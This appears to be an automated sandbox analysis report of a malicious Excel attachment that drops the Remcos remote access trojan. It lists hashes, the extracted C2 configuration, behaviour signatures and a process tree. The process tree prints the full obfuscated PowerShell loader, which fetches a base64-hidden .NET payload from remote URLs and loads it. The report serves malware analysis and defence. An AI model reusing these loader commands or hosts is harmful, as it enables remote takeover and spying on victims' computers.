Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    23-04-2024 05:49

General

  • Target

    New order-Docs0374.xls

  • Size

    317KB

  • MD5

    a8a7919e3cb8e4856be6080fcc0e8ec3

  • SHA1

    1655fdad453dcf6fade55a80de640deb72301266

  • SHA256

    430e4ffa3a8066bebba12c22e2a53810f2b5dc8eeedf8f783a8487016ab4ea22

  • SHA512

    13a1a16bac29f66eb7cd76b29315f2867ec28e284c75c977ef5ff223fcab3fc85f4149c9d27c36cf20aef54c1fea9694a93f1e24a0e56e123cd00bb6f1e123c3

  • SSDEEP

    6144:5uunJtWY35qAOJl/YrLYz+WrNhZF+E+fgL+0dD8ivSbVUbMIXADuNaHUxDHDXZ6/:5vJtP3bVUbMI1JDHTZdpfTo

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

ezege.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-IVESQI

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 6 IoCs
  • Abuses OpenXML format to download file from external location
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New order-Docs0374.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2220
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1780
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\checkinginternetlovers.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1392
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreUDgTreBNDgTreFIDgTreLwDgTre1DgTreDDgTreDgTreNQDgTre0DgTreC8DgTreMgDgTrexDgTreDIDgTreLgDgTre4DgTreDQDgTreLgDgTre2DgTreDMDgTreMQDgTreuDgTreDUDgTreNDgTreDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreUgBNDgTreFDgTreDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1852
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820', 'https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.PMR/5054/212.84.631.54//:ptth' , '1' , 'C:\ProgramData\' , 'RMP','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Adds Run key to start application
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2384
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\RMP.vbs
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2888
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
                PID:2976

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        Filesize

        1KB

        MD5

        ad5aefd69c456466e97a0aa256aaaa4f

        SHA1

        2c4e9fd8897a0c4f78cf3610334cb24a51ec18cd

        SHA256

        73ae9fec50a02b16ba846791482d056e0e1364f346d9bc2168c6836b4abec210

        SHA512

        f3be0bc26313215477431b6ed242990195e343608858ddfa398a05e99d033eefaa5f66bd4fb6a4e04ad6453062c87c8e49b92698c2a44f5145844597a9ca5a40

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

        Filesize

        68KB

        MD5

        29f65ba8e88c063813cc50a4ea544e93

        SHA1

        05a7040d5c127e68c25d81cc51271ffb8bef3568

        SHA256

        1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

        SHA512

        e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

        Filesize

        724B

        MD5

        8202a1cd02e7d69597995cabbe881a12

        SHA1

        8858d9d934b7aa9330ee73de6c476acf19929ff6

        SHA256

        58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

        SHA512

        97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        Filesize

        410B

        MD5

        e654d74ba8d4842fb41c1466a6d69c78

        SHA1

        4725d08d8eafec8c15ebe4d15ff2596821282003

        SHA256

        58043866a023827ce86acd2e9ee05cbc3732835e531abba7e745aff19cc9a560

        SHA512

        746004420149a33bf5556e38780dab19b59630e0af66afa9f1a794d47e9d1d94b8bc6d81f3c8c3a8c3c6ebac1bb61b6eca9130f5bd9f189af342f73db28fcfb7

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

        Filesize

        344B

        MD5

        65ddb29e8f1a0835015e1efd953f550d

        SHA1

        a8c31ee0be5e066fddbde60629d3ed2287802ca7

        SHA256

        1b3db962f2f659ffd7afde3abb6e8b540009e418197390deb124e3b081757ad3

        SHA512

        b3608b418504e209c72650a53873895807026fed0eb96df2b9cd31e9749172fdab2683eebc5f00d3098c5d5e470ed5270f76fdafb2da0d721c4f52de52b55a23

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

        Filesize

        392B

        MD5

        0371f9141fa5da0f2bca8a664647faa4

        SHA1

        3bed11590c2040d9cc7c64fd516b5f37f9150cc5

        SHA256

        383dd1c5011bf5fa4de3e16fb8d0cd306a09222807d664944d679e2bb7ecdfab

        SHA512

        e287b38d6049dd1a3f4c63beb2f2e23ee496d8049a6e39a9ab5b9113abf110f4ada15144dc37320d0019bf203bf6a74025a36ffd9940d656dc5dfc61fc6a37ee

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{29EBB265-3CF5-4D78-92FC-15B7CED67528}.FSD

        Filesize

        128KB

        MD5

        b1897174a8bf95f844fea599f97bdcfd

        SHA1

        af44164fe47ece9c1ef7352fbe4c39c7cceccbb2

        SHA256

        aa661bbcdb4864aac16123398a87f62ed678b0f1da7c64a20b4c5f3112b0badf

        SHA512

        6c73b7c115f1b0e616a670396d76347eca9d39600bffcecb12cb9adaa9a94cf98c4a94ff76c64ed4f2f9a593e6fae5b05a29e710ae410b4e26404158fdbde683

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

        Filesize

        128KB

        MD5

        764281e8028e616aacde4653043915cd

        SHA1

        747e362a85acf57df93b0c49794b5fc9cd5c64a1

        SHA256

        5e4257100a59d42e67854ff0cab4707939d12b45d53b120e131bbd389d14793b

        SHA512

        9e583de3d2f0764897f1674cb60c99fdad9daf661386ba76c165e42626069c271065960cbb05dd61b3734442416f08365876c5af819120429e2943bf3965356f

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{33CA3D2E-958E-4E38-8119-ECC73EA25558}.FSD

        Filesize

        128KB

        MD5

        4dbf8ba51e6b27c57b4ef69ce94dd285

        SHA1

        c7b9e6448ca87bc7a659cce4d89253c862753c5c

        SHA256

        49c183f471d4f57349ef42e937adc78cf7bae9ff165534eedf48f45464c794f8

        SHA512

        c43f92beaeb46c7c28999b5a1fa28305efb1147d98b5a54bf4f3917c2536d7d12a32e2af4b5e7151555db7837f357d333742713d46f2add1e7541df7f76cb4f8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\mydeargirlgetitbackwithentireprocesstogetmygirllovedsomeonetokissherlipswithlotoflove___shemygirlicanunderstandu[1].doc

        Filesize

        75KB

        MD5

        51a827ac1c0d46e97012b962ac8f6a69

        SHA1

        cd7fb58b65aa01f943cacbbf2980f731f7b48b99

        SHA256

        badb9e95bf360c6c0232afb593e62a4fd1930ec567b20385962b68cee4a5cab0

        SHA512

        b2ce7057fcf14dc47dd027662a883a22e76f7711e1e9bba61377e4b493d7c17667144f795e8f4f219ed6b0f03bff3d622beea9f5d251652d1bf4d9bd2bdec5e0

      • C:\Users\Admin\AppData\Local\Temp\Cab3515.tmp

        Filesize

        65KB

        MD5

        ac05d27423a85adc1622c714f2cb6184

        SHA1

        b0fe2b1abddb97837ea0195be70ab2ff14d43198

        SHA256

        c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

        SHA512

        6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

      • C:\Users\Admin\AppData\Local\Temp\Tar3D9D.tmp

        Filesize

        171KB

        MD5

        9c0c641c06238516f27941aa1166d427

        SHA1

        64cd549fb8cf014fcd9312aa7a5b023847b6c977

        SHA256

        4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

        SHA512

        936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

      • C:\Users\Admin\AppData\Local\Temp\Tar4A23.tmp

        Filesize

        177KB

        MD5

        435a9ac180383f9fa094131b173a2f7b

        SHA1

        76944ea657a9db94f9a4bef38f88c46ed4166983

        SHA256

        67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

        SHA512

        1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

      • C:\Users\Admin\AppData\Local\Temp\{4BB51A50-FF31-4952-B639-E930E97FF68A}

        Filesize

        128KB

        MD5

        48d6980f1f811b188bf9a935d0af9e60

        SHA1

        9fdc80da2faed36b5920b46e9249b5d0b196cd17

        SHA256

        fd4dcf2e280bfea6e5381a5955efff4f48bccdccdf8f725ab28dabeac60f1d8c

        SHA512

        3d25330e0d8e03cfae838b2399c653613486e2775d2f7b9fb56e7fd23b20d9524434b3d7f55f27f84bc853dcc23230aff34aa7815dbc17dc650d7e4cd06aea61

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\1BBTRJ3T.txt

        Filesize

        831B

        MD5

        4cf4f3cf3a07b48244335bcb6d7f5382

        SHA1

        228b1d4266388aea0e1ab4945f04636074400299

        SHA256

        83c0e7606203c1ca91ae1072e103cdf681f5be1a3ae6388352e016dcd597c980

        SHA512

        cb72cddefed0bc185dfaf5940d33141309341e43671f3d61d2600b2a6675924c6ba60068baebbafbaf683a0ded97b8a628bc876ec321140978480c6f6508463a

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        Filesize

        7KB

        MD5

        67fce8c2d25a0a1875a0892addd1ab9c

        SHA1

